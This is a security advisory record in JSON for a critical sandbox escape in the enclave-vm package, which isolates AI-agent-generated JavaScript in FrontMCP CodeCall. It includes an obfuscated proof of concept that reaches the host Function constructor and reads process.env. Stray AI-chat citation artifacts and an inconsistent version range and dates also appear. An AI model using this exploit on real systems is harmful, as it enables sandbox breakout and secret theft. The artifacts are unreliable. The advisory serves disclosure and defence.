CVE-2026-22686: Enclave vm Enclave-vm Vulnerable To Sandbox Escape Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7qm7-455j-5p63",
  "modified" : "2026-01-15T17:46:45Z",
  "published" : "2026-01-14T16:52:30Z",
  "aliases" : [ "CVE-2026-22686" ],
  "summary" : "enclave-vm Vulnerable to Sandbox Escape via Host Error Prototype Chain",
  "details" : "A critical sandbox escape vulnerability exists in **enclave-vm** (affected: **< 2.6.0**, patched: **2.7.0**) that can allow untrusted, sandboxed JavaScript to execute arbitrary code in the **host Node.js runtime**.\n\nWhen a tool invocation fails, enclave-vm exposes a **host-side Error object** to sandboxed code. This Error object retains its **host realm prototype chain**, which can be traversed to reach the **host `Function` constructor**:\n\n`Error instance → Error.prototype → Error constructor → Function constructor`\n\nWith access to the host `Function` constructor, an attacker can compile and execute arbitrary JavaScript in the host context — bypassing the sandbox boundary and potentially gaining access to sensitive resources such as `process.env`, filesystem, and network.\n\nThis breaks enclave-vm’s core security guarantee of isolating untrusted code.\n\n---\n\n### Ecosystem Impact (FrontMCP / CodeCall)\n\n**FrontMCP** is a TypeScript-first framework for building MCP servers, and the **CodeCall plugin** enables models to orchestrate large toolsets by generating and executing JavaScript plans.\n\n**Enclave is the defense-in-depth sandbox layer behind CodeCall** (AST validation + runtime sandboxing). If you use FrontMCP **CodeCall** for agent tool execution, you should treat this as an urgent upgrade and ensure your runtime is on a patched enclave-vm version.\n\n---\n\n### Live Playground (Safe Exploration & Testing)\n\nTo explore Enclave’s execution model (AgentScript + tool calls) and validate your integration behavior, use the live playground:\n\n- **EnclaveVM Playground:** https://enclave.agentfront.dev\n\nThis is the quickest way to understand the sandbox / tool-call flow and confirm your environment is running a patched setup.\n\n---\n\n### Timeline (Fast Fix)\n\n- **Fix released:** `enclave-vm@2.7.0` (Jan 9, 2026)\n- **Advisory published:** Jan 13, 2026\n\n---\n\n### Proof of Concept\n\n> ⚠️ For defensive validation and maintainers. Do not run PoCs on hosts you don’t own/control.\n\n<details>\n<summary>Click to expand PoC</summary>\n\n```javascript\n// Vector 35: The Host Error Escape\n// Purpose: Trigger a Host-side error and traverse its prototype chain\n// to reach the Host Function constructor.\n\nconst s = (...args) => String.fromCharCode(...args);\n\nconst kCon    = s(99,111,110,115,116,114,117,99,116,111,114); // \"constructor\"\nconst kProto  = s(95,95,112,114,111,116,111,95,95);           // \"__proto__\"\nconst kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);\nconst kCode   = s(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,101,110,118);\nconst kPtype  = s(112,114,111,116,111,116,121,112,101);\n\ntry {\n    const ObjectProto = Object[kPtype];\n    const lookup = ObjectProto[kLookup];\n    const getProtoNative = lookup.call(ObjectProto, kProto);\n\n    let hostError;\n    try {\n        await callTool('THIS_TOOL_DOES_NOT_EXIST_XYZ', {});\n    } catch (e) {\n        hostError = e;\n    }\n\n    const errProto = getProtoNative.call(hostError);\n    const ErrorCtor = errProto[kCon];\n    const HostFunc = ErrorCtor[kCon];\n\n    const exploitFn = HostFunc(kCode);\n    return exploitFn();\n} catch (e) {\n    return e.message;\n}\n````\n\n</details>\n\n---\n\n### Mitigation / Remediation\n\n**Immediate action:**\n\n* Upgrade **enclave-vm** to **2.7.0+**\n\n**Defense-in-depth guidance:**\n\n* Re-create all Error objects crossing the sandbox boundary **inside the sandbox realm**\n* Strip / freeze prototype chains of host objects\n* Prevent access to host `Function` constructors\n* Harden tool error handling to avoid leaking host-native objects\n\n---\n\n### References\n\n* GitHub Security Advisory: [https://github.com/agentfront/enclave/security/advisories/GHSA-7qm7-455j-5p63](https://github.com/agentfront/enclave/security/advisories/GHSA-7qm7-455j-5p63)\n* npm package: [https://www.npmjs.com/package/enclave-vm](https://www.npmjs.com/package/enclave-vm)\n* Enclave repo: [https://github.com/agentfront/enclave](https://github.com/agentfront/enclave)\n* FrontMCP docs: [https://agentfront.dev/docs](https://agentfront.dev/docs)\n* CodeCall plugin overview: [https://agentfront.dev/docs/plugins/overview](https://agentfront.dev/docs/plugins/overview)\n* EnclaveVM Playground: [https://enclave.agentfront.dev/](https://enclave.agentfront.dev)\n\n```\n\nFactual hooks (for correctness):\n- GHSA page confirms **affected `<2.6.0`** and **patched `2.7.0`**, plus CVSS 10.0 and the exact vulnerability description. :contentReference[oaicite:0]{index=0}  \n- FrontMCP docs explicitly describe **CodeCall** and that it uses **Enclave (AST validation + runtime sandboxing)**. :contentReference[oaicite:1]{index=1}  \n- FrontMCP positioning (“TypeScript-first framework for MCP…”) is stated in the docs. :contentReference[oaicite:2]{index=2}  \n- Enclave repo links the **Live Demo** at `enclave.agentfront.dev`. :contentReference[oaicite:3]{index=3}  \n- Release listing shows `enclave-vm@2.7.0` dated **Jan 9** (fast fix signal). :contentReference[oaicite:4]{index=4}\n::contentReference[oaicite:5]{index=5}",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "enclave-vm"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.7.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/agentfront/enclave/security/advisories/GHSA-7qm7-455j-5p63"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-22686"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/agentfront/enclave/commit/ed8bc438b2cd6e6f0b5f2de321e5be6f0169b5a1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/agentfront/enclave"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-14T16:52:30Z",
    "nvd_published_at" : "2026-01-14T00:15:49Z"
  }
}